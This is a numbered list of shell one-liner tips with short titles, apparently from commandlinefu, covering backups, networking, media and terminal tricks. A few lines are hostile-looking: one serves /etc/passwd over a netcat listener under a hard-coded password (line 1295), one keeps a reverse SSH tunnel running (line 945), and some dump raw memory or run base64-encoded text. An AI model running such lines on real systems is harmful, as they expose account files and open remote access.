  800. sudo dd if=/dev/zero of=/swapfile bs=1024 count=1024000;sudo mkswap /swapfile; sudo swapon /swapfile
  801.  
  802. # Run a long job and notify me when it's finished
  803. ./my-really-long-job.sh && notify-send "Job finished"
  804.  
  805. # Make anything more awesome
  806. command | figlet
  807.  
  808. # Display current bandwidth statistics
  809. ifstat -nt
  810.  
  811. # restoring some data from a corrupted text file
  812. ( cat badfile.log ; tac badfile.log | tac ) > goodfile.log
  813.  
  814. # How to run X without any graphics hardware
  815. startx -- `which Xvfb` :1 -screen 0 800x600x24 && DISPLAY=:1 x11vnc
  816.  
  817. # Redirect STDIN
  818. < /path/to/file.txt grep foo
  819.  
  820. # clear current line
  821. CTRL+u
  822.  
  823. # Add calendar to desktop wallpaper
  824. convert -font -misc-fixed-*-*-*-*-*-*-*-*-*-*-*-* -fill black -draw "text 270,260 \" `cal` \"" testpic.jpg newtestpic.jpg
  825.  
  826. # Delete all empty lines from a file with vim
  827. :g!/\S/d
  828.  
  829. # Get all the keyboard shortcuts in screen
  830. ^A ?
  831.  
  832. # convert uppercase files to lowercase files
  833. rename 'y/A-Z/a-z/' *
  834.  
  835. # Switch 2 characters on a command line.
  836. ctrl-t
  837.  
  838. # Change prompt to MS-DOS one (joke)
  839. export PS1="C:\$( pwd | sed 's:/:\\\\\\:g' )\\> "
  840.  
  841. # Monitor open connections for httpd including listen, count and sort it per IP
  842. watch "netstat -plan|grep :80|awk {'print \$5'} | cut -d: -f 1 | sort | uniq -c | sort -nk 1"
  843.  
  844. # download and unpack tarball without leaving it sitting on your hard drive
  845. wget -qO - http://example.com/path/to/blah.tar.gz | tar xzf -
  846.  
  847.  
  848.  
  849. # Numbers guessing game
  850. A=1;B=100;X=0;C=0;N=$[$RANDOM%$B+1];until [ $X -eq $N ];do read -p "N between $A and $B. Guess? " X;C=$(($C+1));A=$(($X<$N?$X:$A));B=$(($X>$N?$X:$B));done;echo "Took you $C tries, Einstein";
  851.  
  852. # Make sure a script is run in a terminal.
  853. [ -t 0 ] || exit 1
  854.  
  855. # Unbelievable Shell Colors, Shading, Backgrounds, Effects for Non-X
  856. for c in `seq 0 255`;do t=5;[[ $c -lt 108 ]]&&t=0;for i in `seq $t 5`;do echo -e "\e[0;48;$i;${c}m|| $i:$c `seq -s+0 $(($COLUMNS/2))|tr -d '[0-9]'`\e[0m";done;done
  857.  
  858. # Matrix Style
  859. echo -e "\e[32m"; while :; do for i in {1..16}; do r="$(($RANDOM % 2))"; if [[ $(($RANDOM % 5)) == 1 ]]; then if [[ $(($RANDOM % 4)) == 1 ]]; then v+="\e[1m $r "; else v+="\e[2m $r "; fi; else v+=" "; fi; done; echo -e "$v"; v=""; done
  860.  
  861. # Backup all MySQL Databases to individual files
  862. for db in $(mysql -e 'show databases' -s --skip-column-names); do mysqldump $db | gzip > "/backups/mysqldump-$(hostname)-$db-$(date +%Y-%m-%d-%H.%M.%S).gz"; done
  863.  
  864. # How fast is the connexion to a URL, some stats from curl
  865. URL="http://www.google.com";curl -L --w "$URL\nDNS %{time_namelookup}s conn %{time_connect}s time %{time_total}s\nSpeed %{speed_download}bps Size %{size_download}bytes\n" -o/dev/null -s $URL
  866.  
  867. # Show directories in the PATH, one per line
  868. echo "${PATH//:/$'\n'}"
  869.  
  870. # Schedule a script or command in x num hours, silently run in the background even if logged out
  871. ( ( sleep 2h; your-command your-args ) & )
  872.  
  873. # find and delete empty dirs, start in current working dir
  874. find . -empty -type d -exec rmdir {} +
  875.  
  876. # Move all images in a directory into a directory hierarchy based on year, month and day based on exif information
  877. exiftool '-Directory<DateTimeOriginal' -d %Y/%m/%d dir
  878.  
  879. # Get all IPs via ifconfig
  880. ifconfig -a | perl -nle'/(\d+\.\d+\.\d+\.\d+)/ && print $1'
  881.  
  882. # Smiley Face Bash Prompt
  883. PS1="\`if [ \$? = 0 ]; then echo \e[33\;40m\\\^\\\_\\\^\e[0m; else echo \e[36\;40m\\\-\e[0m\\\_\e[36\;40m\\\-\e[0m; fi\` \u \w:\h)"
  884.  
  885. # Create a list of binary numbers
  886. echo {0..1}{0..1}{0..1}{0..1}
  887.  
  888. # Create a system overview dashboard on F12 key
  889. bind '"\e[24~"':"\"ps -elF;df -h;free -mt;netstat -lnpt;who -a\C-m"""
  890.  
  891. # Convert "man page" to text file
  892. man ls | col -b > ~/Desktop/man_ls.txt
  893.  
  894. # Find if the command has an alias
  895. type -all command
  896.  
  897. # Share a 'screen'-session
  898. screen -x
  899.  
  900. # Show all detected mountable Drives/Partitions/BlockDevices
  901. hwinfo --block --short
  902.  
  903. # view the system console remotely
  904. sudo cat /dev/vcs1 | fold -w 80
  905.  
  906. # Download all Delicious bookmarks
  907. curl -u username -o bookmarks.xml https://api.del.icio.us/v1/posts/all
  908.  
  909. # I hate `echo X | Y`
  910. base64 -d <<< aHR0cDovL3d3dy50d2l0dGVyc2hlZXAuY29tL3Jlc3VsdHMucGhwP3U9Y29tbWFuZGxpbmVmdQo=
  911.  
  912. # find the process that is using a certain port e.g. port 3000
  913. lsof -P | grep ':3000'
  914.  
  915. # Schedule a download at a later time
  916. echo 'wget url' | at 01:00
  917.  
  918. # create dir tree
  919. mkdir -p doc/{text/,img/{wallpaper/,photos/}}
  920.  
  921. # Backup your hard drive with dd
  922. sudo dd if=/dev/sda of=/media/disk/backup/sda.backup
  923.  
  924.  
  925.  
  926. # Extract audio from a video
  927. ffmpeg -i video.avi -f mp3 audio.mp3
  928.  
  929. # Quick glance at who's been using your system recently
  930. last | grep -v "^$" | awk '{ print $1 }' | sort -nr | uniq -c
  931.  
  932. # Get Dell Service Tag Number from a Dell Machine
  933. sudo dmidecode | grep Serial\ Number | head -n1
  934.  
  935. # change directory to actual path instead of symlink path
  936. cd `pwd -P`
  937.  
  938. # List of commands you use most often
  939. history | awk '{print $2}' | sort | uniq -c | sort -rn | head
  940.  
  941. # Generat a Random MAC address
  942. MAC=`(date; cat /proc/interrupts) | md5sum | sed -r 's/^(.{10}).*$/\1/; s/([0-9a-f]{2})/\1:/g; s/:$//;'`
  943.  
  944. # ssh tunnel with auto reconnect ability
  945. while [ ! -f /tmp/stop ]; do ssh -o ExitOnForwardFailure=yes -R 2222:localhost:22 target "while nc -zv localhost 2222; do sleep 5; done"; sleep 5;done
  946.  
  947. # Use last argument of last command
  948. file !$
  949.  
  950. # Recursively remove .svn directories from the current location
  951. find . -type d -name '.svn' -print0 | xargs -0 rm -rdf
  952.  
  953. # Get http headers for an url
  954. curl -I www.commandlinefu.com
  955.  
  956. # View all date formats, Quick Reference Help Alias
  957. alias dateh='date --help|sed "/^ *%a/,/^ *%Z/!d;y/_/!/;s/^ *%\([:a-z]\+\) \+/\1_/gI;s/%/#/g;s/^\([a-y]\|[z:]\+\)_/%%\1_%\1_/I"|while read L;do date "+${L}"|sed y/!#/%%/;done|column -ts_'
  958.  
  959. # copy from host1 to host2, through your host
  960. ssh root@host1 "cd /somedir/tocopy/ && tar -cf - ." | ssh root@host2 "cd /samedir/tocopyto/ && tar -xf -"
  961.  
  962. # Print a row of characters across the terminal
  963. printf "%`tput cols`s"|tr ' ' '#'
  964.  
  965. # Remote screenshot
  966. DISPLAY=":0.0" import -window root screenshot.png
  967.  
  968. # Make ISO image of a folder
  969. mkisofs -J -allow-lowercase -R -V "OpenCD8806" -iso-level 4 -o OpenCD.iso ~/OpenCD
  970.  
  971. # Play music from youtube without download
  972. wget -q -O - `youtube-dl -b -g $url`| ffmpeg -i - -f mp3 -vn -acodec libmp3lame -| mpg123 -
  973.  
  974. # geoip information
  975. curl -s "http://www.geody.com/geoip.php?ip=$(curl -s icanhazip.com)" | sed '/^IP:/!d;s/<[^>][^>]*>//g'
  976.  
  977. # generate a unique and secure password for every website that you login to
  978. sitepass() { echo -n "$@" | md5sum | sha1sum | sha224sum | sha256sum | sha384sum | sha512sum | gzip - | strings -n 1 | tr -d "[:space:]" | tr -s '[:print:]' | tr '!-~' 'P-~!-O' | rev | cut -b 2-11; history -d $(($HISTCMD-1)); }
  979.  
  980. # Pretty Print a simple csv in the command line
  981. column -s, -t <tmp.csv
  982.  
  983. # Create a directory and change into it at the same time
  984. md () { mkdir -p "$@" && cd "$@"; }
  985.  
  986. # Save current layout of top
  987. <Shift + W>
  988.  
  989. # Identify differences between directories (possibly on different servers)
  990. diff <(ssh server01 'cd config; find . -type f -exec md5sum {} \;| sort -k 2') <(ssh server02 'cd config;find . -type f -exec md5sum {} \;| sort -k 2')
  991.  
  992. # find all active IP addresses in a network
  993. arp-scan -l
  994.  
  995. # Mount the first NTFS partition inside a VDI file (VirtualBox Disk Image)
  996. mount -t ntfs-3g -o ro,loop,uid=user,gid=group,umask=0007,fmask=0117,offset=0x$(hd -n 1000000 image.vdi | grep "eb 52 90 4e 54 46 53" | cut -c 1-8) image.vdi /mnt/vdi-ntfs
  997.  
  998. # Get your external IP address
  999. curl -s 'http://checkip.dyndns.org' | sed 's/.*Current IP Address: \([0-9\.]*\).*/\1/g'
  1000.  
  1001.  
  1002.  
  1003. # Use all the cores or CPUs when compiling
  1004. make -j 4
  1005.  
  1006. # Update twitter via curl
  1007. curl -u user -d status="Tweeting from the shell" http://twitter.com/statuses/update.xml
  1008.  
  1009. # Analyze awk fields
  1010. awk '{print NR": "$0; for(i=1;i<=NF;++i)print "\t"i": "$i}'
  1011.  
  1012. # List programs with open ports and connections
  1013. lsof -i
  1014.  
  1015. # Colored SVN diff
  1016. svn diff <file> | vim -R -
  1017.  
  1018. # Run a command, store the output in a pastebin on the internet and place the URL on the xclipboard
  1019. ls | curl -F 'sprunge=<-' http://sprunge.us | xclip
  1020.  
  1021. # Find last reboot time
  1022. who -b
  1023.  
  1024. # Get your public ip using dyndns
  1025. curl -s http://checkip.dyndns.org/ | grep -o "[[:digit:].]\+"
  1026.  
  1027. # Start screen in detached mode
  1028. screen -d -m [<command>]
  1029.  
  1030. # Diff files on two remote hosts.
  1031. diff <(ssh alice cat /etc/apt/sources.list) <(ssh bob cat /etc/apt/sources.list)
  1032.  
  1033. # Ctrl+S Ctrl+Q terminal output lock and unlock
  1034. Ctrl+S Ctrl+Q
  1035.  
  1036. # Rsync remote data as root using sudo
  1037. rsync --rsync-path 'sudo rsync' username@source:/folder/ /local/
  1038.  
  1039. # Create a favicon
  1040. convert -colors 256 -resize 16x16 face.jpg face.ppm && ppmtowinicon -output favicon.ico face.ppm
  1041.  
  1042. # Convert all MySQL tables and fields to UTF8
  1043. mysql --database=dbname -B -N -e "SHOW TABLES" | awk '{print "ALTER TABLE", $1, "CONVERT TO CHARACTER SET utf8 COLLATE utf8_general_ci;"}' | mysql --database=dbname &
  1044.  
  1045. # Send keypresses to an X application
  1046. xvkbd -xsendevent -text "Hello world"
  1047.  
  1048. # Cut out a piece of film from a file. Choose an arbitrary length and starting time.
  1049. ffmpeg -vcodec copy -acodec copy -i orginalfile -ss 00:01:30 -t 0:0:20 newfile
  1050.  
  1051. # Check Ram Speed and Type in Linux
  1052. sudo dmidecode --type 17 | more
  1053.  
  1054. # Run any GUI program remotely
  1055. ssh -fX <user>@<host> <program>
  1056.  
  1057. # Run the Firefox Profile Manager
  1058. firefox -no-remote -P
  1059.  
  1060. # Append stdout and stderr to a file, and print stderr to the screen [bash]
  1061. somecommand 2>&1 >> logfile | tee -a logfile
  1062.  
  1063. # Delete the specified line
  1064. sed -i 8d ~/.ssh/known_hosts
  1065.  
  1066. # Pipe STDOUT to vim
  1067. tail -1000 /some/file | vim -
  1068.  
  1069. # Grep for word in directory (recursive)
  1070. grep --color=auto -iRnH "$search_word" $directory
  1071.  
  1072. # Batch convert files to utf-8
  1073. find . -name "*.php" -exec iconv -f ISO-8859-1 -t UTF-8 {} -o ../newdir_utf8/{} \;
  1074.  
  1075. # ping a range of IP addresses
  1076. nmap -sP 192.168.1.100-254
  1077.  
  1078.  
  1079.  
  1080. # find process associated with a port
  1081. fuser [portnumber]/[proto]
  1082.  
  1083. # Restrict the bandwidth for the SCP command
  1084. scp -l10 pippo@serverciccio:/home/zutaniddu/* .
  1085.  
  1086. # Grep by paragraph instead of by line.
  1087. grepp() { [ $# -eq 1 ] && perl -00ne "print if /$1/i" || perl -00ne "print if /$1/i" < "$2";}
  1088.  
  1089. # Vim: Switch from Horizontal split to Vertical split
  1090. ^W-L
  1091.  
  1092. # copy working directory and compress it on-the-fly while showing progress
  1093. tar -cf - . | pv -s $(du -sb . | awk '{print $1}') | gzip > out.tgz
  1094.  
  1095. # Split a tarball into multiple parts
  1096. tar cf - <dir>|split -b<max_size>M - <name>.tar.
  1097.  
  1098. # Clean your broken terminal
  1099. stty sane
  1100.  
  1101. # Kill processes that have been running for more than a week
  1102. find /proc -user myuser -maxdepth 1 -type d -mtime +7 -exec basename {} \; | xargs kill -9
  1103.  
  1104. # Ultimate current directory usage command
  1105. ncdu
  1106.  
  1107. # Get all these commands in a text file with description.
  1108. for x in `jot - 0 2400 25`; do curl "http://www.commandlinefu.com/commands/browse/sort-by-votes/plaintext/$x" ; done > commandlinefu.txt
  1109.  
  1110. # Show git branches by date - useful for showing active branches
  1111. for k in `git branch|perl -pe s/^..//`;do echo -e `git show --pretty=format:"%Cgreen%ci %Cblue%cr%Creset" $k|head -n 1`\\t$k;done|sort -r
  1112.  
  1113. # find files containing text
  1114. grep -lir "some text" *
  1115.  
  1116. # Set your profile so that you resume or start a screen session on login
  1117. echo "screen -DR" >> ~/.bash_profile
  1118.  
  1119. # Purge configuration files of removed packages on debian based systems
  1120. sudo aptitude purge `dpkg --get-selections | grep deinstall | awk '{print $1}'`
  1121.  
  1122. # Grep colorized
  1123. grep -i --color=auto
  1124.  
  1125. # Given process ID print its environment variables
  1126. sed 's/\o0/\n/g' /proc/INSERT_PID_HERE/environ
  1127.  
  1128. # beep when a server goes offline
  1129. while true; do [ "$(ping -c1W1w1 server-or-ip.com | awk '/received/ {print $4}')" != 1 ] && beep; sleep 1; done
  1130.  
  1131. # Number of open connections per ip.
  1132. netstat -ntu | awk '{print $5}' | cut -d: -f1 | sort | uniq -c | sort -n
  1133.  
  1134. # git remove files which have been deleted
  1135. git rm $(git ls-files --deleted)
  1136.  
  1137. # Calculates the date 2 weeks ago from Saturday the specified format.
  1138. date -d '2 weeks ago Saturday' +%Y-%m-%d
  1139.  
  1140. # Resume aborted scp file transfers
  1141. rsync --partial --progress --rsh=ssh SOURCE DESTINATION
  1142.  
  1143. # Another Curl your IP command
  1144. curl -s http://checkip.dyndns.org | sed 's/[a-zA-Z<>/ :]//g'
  1145.  
  1146. # Add your public SSH key to a server in one command
  1147. cat .ssh/id_rsa.pub | ssh hostname 'cat >> .ssh/authorized_keys'
  1148.  
  1149. # pattern match in awk - no grep
  1150. awk '/pattern1/ && /pattern2/ && !/pattern3/ {print}'
  1151.  
  1152. # Echo the latest commands from commandlinefu on the console
  1153. wget -O - http://www.commandlinefu.com/commands/browse/rss 2>/dev/null | awk '/\s*<title/ {z=match($0, /CDATA\[([^\]]*)\]/, b);print b[1]} /\s*<description/ {c=match($0, /code>(.*)<\/code>/, d);print d[1]"\n"} '
  1154.  
  1155.  
  1156.  
  1157. # scping files with streamlines compression (tar gzip)
  1158. tar czv file1 file2 folder1 | ssh user@server tar zxv -C /destination
  1159.  
  1160. # Optimal way of deleting huge numbers of files
  1161. find /path/to/dir -type f -print0 | xargs -0 rm
  1162.  
  1163. # GREP a PDF file.
  1164. pdftotext [file] - | grep 'YourPattern'
  1165.  
  1166. # find and delete empty dirs, start in current working dir
  1167. find . -type d -empty -delete
  1168.  
  1169. # Change pidgin status
  1170. purple-remote "setstatus?status=away&message=AFK"
  1171.  
  1172. # convert vdi to vmdk (virtualbox hard disk conversion to vmware hard disk format)
  1173. VBoxManage internalcommands converttoraw winxp.vdi winxp.raw && qemu-img convert -O vmdk winxp.raw winxp.vmdk && rm winxp.raw
  1174.  
  1175. # Change user, assume environment, stay in current dir
  1176. su -- user
  1177.  
  1178. # List Network Tools in Linux
  1179. apropos network |more
  1180.  
  1181. # A fun thing to do with ram is actually open it up and take a peek. This command will show you all the string (plain text) values in ram
  1182. sudo strings /dev/mem
  1183.  
  1184. # Get all IPs via ifconfig
  1185. ifconfig | perl -nle'/dr:(\S+)/ && print $1'
  1186.  
  1187. # Twitter update from terminal (pok3's snipts ?)
  1188. curl -u YourUsername:YourPassword -d status="Your status message go here" http://twitter.com/statuses/update.xml
  1189.  
  1190. # VIM: Replace a string with an incrementing number between marks 'a and 'b (eg, convert string ZZZZ to 1, 2, 3, ...)
  1191. :let i=0 | 'a,'bg/ZZZZ/s/ZZZZ/\=i/ | let i=i+1
  1192.  
  1193. # Multiple SSH Tunnels
  1194. ssh -L :: -L :: @
  1195.  
  1196. # wrap long lines of a text
  1197. fold -s -w 90 file.txt
  1198.  
  1199. # Create directory named after current date
  1200. mkdir $(date +%Y%m%d)
  1201.  
  1202. # Terminal redirection
  1203. script /dev/null | tee /dev/pts/3
  1204.  
  1205. # Monitor dynamic changes in the dmesg log.
  1206. watch "dmesg |tail -15"
  1207.  
  1208. # Monitor TCP opened connections
  1209. watch -n 1 "netstat -tpanl | grep ESTABLISHED"
  1210.  
  1211. # Pause Current Thread
  1212. ctrl-z
  1213.  
  1214. # quickly change all .html extensions on files in folder to .htm
  1215. for i in *.html ; do mv $i ${i%.html}.htm ; done
  1216.  
  1217. # Sort dotted quads
  1218. sort -nt . -k 1,1 -k 2,2 -k 3,3 -k 4,4
  1219.  
  1220. # Backup a remote database to your local filesystem
  1221. ssh user@host 'mysqldump dbname | gzip' > /path/to/backups/db-backup-`date +%Y-%m-%d`.sql.gz
  1222.  
  1223. # Find recursively, from current directory down, files and directories whose names contain single or multiple whitespaces and replace each such occurrence with a single underscore.
  1224. find ./ -name '*' -exec rename 's/\s+/_/g' {} \;
  1225.  
  1226. # count IPv4 connections per IP
  1227. netstat -anp |grep 'tcp\|udp' | awk '{print $5}' | sed s/::ffff:// | cut -d: -f1 | sort | uniq -c | sort -n
  1228.  
  1229. # Just run it ;)
  1230. echo SSBMb3ZlIFlvdQo= | base64 -d
  1231.  
  1232.  
  1233.  
  1234. # cycle through a 256 colour palette
  1235. yes "$(seq 232 255;seq 254 -1 233)" | while read i; do printf "\x1b[48;5;${i}m\n"; sleep .01; done
  1236.  
  1237. # add all files not under version control to repository
  1238. svn status |grep '\?' |awk '{print $2}'| xargs svn add
  1239.  
  1240. # Get your outgoing IP address
  1241. curl -s ip.appspot.com
  1242.  
  1243. # Working random fact generator
  1244. wget randomfunfacts.com -O - 2>/dev/null | grep \<strong\> | sed "s;^.*<i>\(.*\)</i>.*$;\1;"
  1245.  
  1246. # Limit bandwidth usage by apt-get
  1247. sudo apt-get -o Acquire::http::Dl-Limit=30 upgrade
  1248.  
  1249. # Makes you look busy
  1250. alias busy='my_file=$(find /usr/include -type f | sort -R | head -n 1); my_len=$(wc -l $my_file | awk "{print $1}"); let "r = $RANDOM % $my_len" 2>/dev/null; vim +$r $my_file'
  1251.  
  1252. # Open Remote Desktop (RDP) from command line and connect local resources
  1253. rdesktop -a24 -uAdministrator -pPassword -r clipboard:CLIPBOARD -r disk:share=~/share -z -g 1280x900 -0 $@ &
  1254.  
  1255. # Do some learning...
  1256. ls /usr/bin | xargs whatis | grep -v nothing | less
  1257.  
  1258. # Insert the last argument of the previous command
  1259. <ALT> .
  1260.  
  1261. # Typing the current date ( or any string ) via a shortcut as if the keys had been actually typed with the hardware keyboard in any application.
  1262. xvkbd -xsendevent -text $(date +%Y%m%d)
  1263.  
  1264. # bash screensaver (scrolling ascii art with customizable message)
  1265. while [ 1 ]; do banner 'ze missiles, zey are coming! ' | while IFS="\n" read l; do echo "$l"; sleep 0.01; done; done
  1266.  
  1267. # Tune your guitar from the command line.
  1268. for n in E2 A2 D3 G3 B3 E4;do play -n synth 4 pluck $n repeat 2;done
  1269.  
  1270. # Amazing real time picture of the sun in your wallpaper
  1271. curl http://sohowww.nascom.nasa.gov/data/realtime/eit_195/512/latest.jpg | xli -onroot -fill stdin
  1272.  
  1273. # Backup a local drive into a file on the remote host via ssh
  1274. dd if=/dev/sda | ssh user@server 'dd of=sda.img'
  1275.  
  1276. # More precise BASH debugging
  1277. env PS4=' ${BASH_SOURCE}:${LINENO}(${FUNCNAME[0]}) ' sh -x /etc/profile
  1278.  
  1279. # is today the end of the month?
  1280. [ `date --date='next day' +'%B'` == `date +'%B'` ] || echo 'end of month'
  1281.  
  1282. # Show Directories in the PATH Which does NOT Exist
  1283. (IFS=:;for p in $PATH; do test -d $p || echo $p; done)
  1284.  
  1285. # Testing hard disk reading speed
  1286. hdparm -t /dev/sda
  1287.  
  1288. # Print text string vertically, one character per line.
  1289. echo "vertical text" | grep -o '.'
  1290.  
  1291. # display an embeded help message from bash script header
  1292. [ "$1" == "--help" ] && { sed -n -e '/^# Usage:/,/^$/ s/^# \?//p' < $0; exit; }
  1293.  
  1294. # Send data securly over the net.
  1295. cat /etc/passwd | openssl aes-256-cbc -a -e -pass pass:password | netcat -l -p 8080
  1296.  
  1297. # When was your OS installed?
  1298. ls -lct /etc | tail -1 | awk '{print $6, $7}'
  1299.  
  1300. # Replace spaces in filenames with underscorees
  1301. rename -v 's/ /_/g' *
  1302.  
  1303. # bash: hotkey to put current commandline to text-editor
  1304. bash-hotkey: <CTRL+x+e>
  1305.  
  1306. # move a lot of files over ssh
  1307. tar -cf - /home/user/test | gzip -c | ssh user@sshServer 'cd /tmp; tar xfz -'
  1308.  
  1309.  
  1310.  
  1311. # print file without duplicated lines using awk
  1312. awk '!a[$0]++' file
  1313.  
  1314. # Cleanup firefox's database.
  1315. pgrep -u `id -u` firefox-bin || find ~/.mozilla/firefox -name '*.sqlite'|(while read -e f; do echo 'vacuum;'|sqlite3 "$f" ; done)
  1316.  
  1317. # Stream YouTube URL directly to mplayer
  1318. id="dMH0bHeiRNg";mplayer -fs http://youtube.com/get_video.php?video_id=$id\&t=$(curl -s http://www.youtube.com/watch?v=$id | sed -n 's/.*, "t": "\([^"]*\)", .*/\1/p')
  1319.  
  1320. # Change proccess affinity.
  1321. taskset -cp <core> <pid>
  1322.  
  1323. # Download file with multiple simultaneous connections
  1324. aria2c -s 4 http://my/url
  1325.  
  1326. # Pick a random line from a file
  1327. shuf -n1 file.txt
  1328.  
  1329. # Use xdg-open to avoid hard coding browser commands
  1330. xdg-open http://gmail.com
  1331.  
  1332. # Search commandlinefu from the CLI
  1333. curl -sd q=Network http://www.commandlinefu.com/search/autocomplete |html2text -width 100
  1334.  
  1335. # Find removed files still in use via /proc
  1336. find -L /proc/*/fd -links 0 2>/dev/null
  1337.  
  1338. # Using bash inline "here document" with three less-than symbols on command line
  1339. <<<"k=1024; m=k*k; g=k*m; g" bc
  1340.  
  1341. # Super Speedy Hexadecimal or Octal Calculations and Conversions to Decimal.
  1342. echo "$(( 0x10 )) - $(( 010 )) = $(( 0x10 - 010 ))"
  1343.  
  1344. # Recursively compare two directories and output their differences on a readable format
  1345. diff -urp /originaldirectory /modifieddirectory
  1346.  
  1347. # Connect to google talk through ssh by setting your IM client to use the localhost 5432 port
  1348. ssh -f -N -L 5432:talk.google.com:5222 user@home.network.com
  1349.  
  1350. # find and replace tabs for spaces within files recursively
  1351. find ./ -type f -exec sed -i 's/\t/ /g' {} \;
  1352.  
  1353. # urldecoding
  1354. sed -e's/%\([0-9A-F][0-9A-F]\)/\\\\\x\1/g' | xargs echo -e
  1355.  
  1356. # alt + 1 .
  1357. alt + 1 .
  1358.  
  1359. # Show a config file without comments
  1360. egrep -v "^$|^[[:space:]]*#" /etc/some/file
  1361.  
  1362. # Display last exit status of a command
  1363. echo $?
  1364.  
  1365. # Create several copies of a file
  1366. for i in {1..5}; do cp test{,$i};done
  1367.  
  1368. # Delete all files found in directory A from directory B
  1369. for file in <directory A>/*; do rm <directory B>/`basename $file`; done
  1370.  
  1371. # Nice info browser
  1372. pinfo
  1373.  
  1374. # Convert camelCase to underscores (camel_case)
  1375. sed -r 's/([a-z]+)([A-Z][a-z]+)/\1_\l\2/g' file.txt
  1376.  
  1377. # play high-res video files on a slow processor
  1378. mplayer -framedrop -vfm ffmpeg -lavdopts lowres=1:fast:skiploopfilter=all
  1379.  
  1380. # List your largest installed packages.
  1381. wajig large
  1382.  
  1383. # Displays the attempted user name, ip address, and time of SSH failed logins on Debian machines
  1384. awk '/sshd/ && /Failed/ {gsub(/invalid user/,""); printf "%-12s %-16s %s-%s-%s\n", $9, $11, $1, $2, $3}' /var/log/auth.log
  1385.  
  1386.  
  1387.  
  1388. # Download schedule
  1389. echo 'wget url' | at 12:00
  1390.  
  1391. # Fix Ubuntu's Broken Sound Server
  1392. sudo killall -9 pulseaudio; pulseaudio >/dev/null 2>&1 &
  1393.  
  1394. # Look up the definition of a word
  1395. curl dict://dict.org/d:something
  1396.  
  1397. # from within vi, pipe a chunk of lines to a command line and replace the chunk with the result
  1398. !}sort
  1399.  
  1400. # Browse system RAM in a human readable form
  1401. sudo cat /proc/kcore | strings | awk 'length > 20' | less
  1402.  
  1403. # [re]verify a disc with very friendly output
  1404. dd if=/dev/cdrom | pv -s 700m | md5sum | tee test.md5
  1405.  
  1406. # Traceroute w/TCP to get through firewalls.
  1407. tcptraceroute www.google.com
  1408.  
  1409. # Find distro name and/or version/release
  1410. cat /etc/*-release
  1411.  
  1412. # Read the output of a command into the buffer in vim
  1413. :r !command
  1414.  
  1415. # Split File in parts
  1416. split -b 19m file Nameforpart
  1417.  
  1418. # Get your mac to talk to you
  1419. say -v Vicki "Hi, I'm a mac"
  1420.  
  1421. # Open a man page as a PDF in Gnome
  1422. TF=`mktemp` && man -t YOUR_COMMAND >> $TF && gnome-open $TF
  1423.  
  1424. # Grep without having it show its own process in the results
  1425. ps aux | grep "[s]ome_text"
  1426.  
  1427. # Remove all subversion files from a project recursively
  1428. rm -rf `find . -type d -name .svn`
  1429.  
  1430. # Tells which group you DON'T belong to (opposite of command "groups") --- uses sed
  1431. sed -e "/$USER/d;s/:.*//g" /etc/group | sed -e :a -e '/$/N;s/\n/ /;ta'
  1432.  
  1433. # renames multiple files that match the pattern
  1434. rename 's/foo/bar/g' *
  1435.  
  1436. # Show which programs are listening on TCP and UDP ports
  1437. netstat -plunt
  1438.  
  1439. # Count files beneath current directory (including subfolders)
  1440. find . -type f | wc -l
  1441.  
  1442. # Opens vi/vim at pattern in file
  1443. vi +/pattern [file]
  1444.  
  1445. # List complete size of directories (do not consider hidden directories)
  1446. du -hs */
  1447.  
  1448. # Convert all Flac in a directory to Mp3 using maximum quality variable bitrate
  1449. for file in *.flac; do flac -cd "$file" | lame -q 0 --vbr-new -V 0 - "${file%.flac}.mp3"; done
  1450.  
  1451. # ignore the .svn directory in filename completion
  1452. export FIGNORE=.svn
  1453.  
  1454. # Temporarily ignore known SSH hosts
  1455. ssh -o UserKnownHostsFile=/dev/null root@192.168.1.1
  1456.  
  1457. # Save the Top 2500 commands from commandlinefu to a single text file
  1458.  
  1459. # Recover remote tar backup with ssh
  1460. ssh user@host "cat /path/to/backup/backupfile.tar.bz2" |tar jpxf -
  1461.  
  1462.  
  1463.  
  1464. # Remote backups with tar over ssh
  1465. tar jcpf - [sourceDirs] |ssh user@host "cat > /path/to/backup/backupfile.tar.bz2"
  1466.  
  1467. # Copy a file using pv and watch its progress
  1468. pv sourcefile > destfile
  1469.  
  1470. # Pronounce an English word using Dictionary.com
  1471. pronounce(){ wget -qO- $(wget -qO- "http://dictionary.reference.com/browse/$@" | grep 'soundUrl' | head -n 1 | sed 's|.*soundUrl=\([^&]*\)&.*|\1|' | sed 's/%3A/:/g;s/%2F/\//g') | mpg123 -; }
  1472.  
  1473. # Display a wave pattern
  1474. ruby -e "i=0;loop{puts ' '*(29*(Math.sin(i)/2+1))+'|'*(29*(Math.cos(i)/2+1)); i+=0.1}"
  1475.  
  1476. # send a message to a windows machine in a popup
  1477. echo "message" | smbclient -M NAME_OF_THE_COMPUTER
  1478.  
  1479. # create a temporary file in a command line call
  1480. any_script.sh < <(some command)
  1481.  
  1482. # See your current RAM frequency
  1483. dmidecode -t 17 | awk -F":" '/Speed/ { print $2 }'
  1484.  
  1485. # Perl Command Line Interpreter
  1486. perl -e 'while(1){print"> ";eval<>}'
  1487.  
  1488. # grab all commandlinefu shell functions into a single file, suitable for sourcing.
  1489. export QQ=$(mktemp -d);(cd $QQ; curl -s -O http://www.commandlinefu.com/commands/browse/sort-by-votes/plaintext/[0-2400:25];for i in $(perl -ne 'print "$1\n" if( /^(\w+\(\))/ )' *|sort -u);do grep -h -m1 -B1 $i *; done)|grep -v '^--' > clf.sh;rm -r $QQ
  1490.  
  1491. # Insert the last argument of the previous command
  1492. !$
  1493.  
  1494. # Find unused IPs on a given subnet
  1495. nmap -T4 -sP 192.168.2.0/24 && egrep "00:00:00:00:00:00" /proc/net/arp
  1496.  
  1497. # silent/shh - shorthand to make commands really quiet
  1498. silent(){ $@ > /dev/null 2>&1; }; alias shh=silent
  1499.  
  1500. # Change your swappiness Ratio under linux
  1501. sysctl vm.swappiness=50
  1502.  
  1503. # Determine what an process is actually doing
  1504. sudo strace -pXXXX -e trace=file
  1505.  
  1506. # extract email adresses from some file (or any other pattern)
  1507. grep -Eio '([[:alnum:]_.-]+@[[:alnum:]_.-]+?\.[[:alpha:].]{2,6})'
  1508.  
  1509. # Carriage return for reprinting on the same line
  1510. while true; do echo -ne "$(date)\r"; sleep 1; done
  1511.  
  1512. # bash screensaver off
  1513. setterm -powersave off -blank 0
  1514.  
  1515. # Copy a folder tree through ssh using compression (no temporary files)
  1516. ssh <host> 'tar -cz /<folder>/<subfolder>' | tar -xvz
  1517.  
  1518. # Remove lines that contain a specific pattern($1) from file($2).
  1519. sed -i '/myexpression/d' /path/to/file.txt
  1520.  
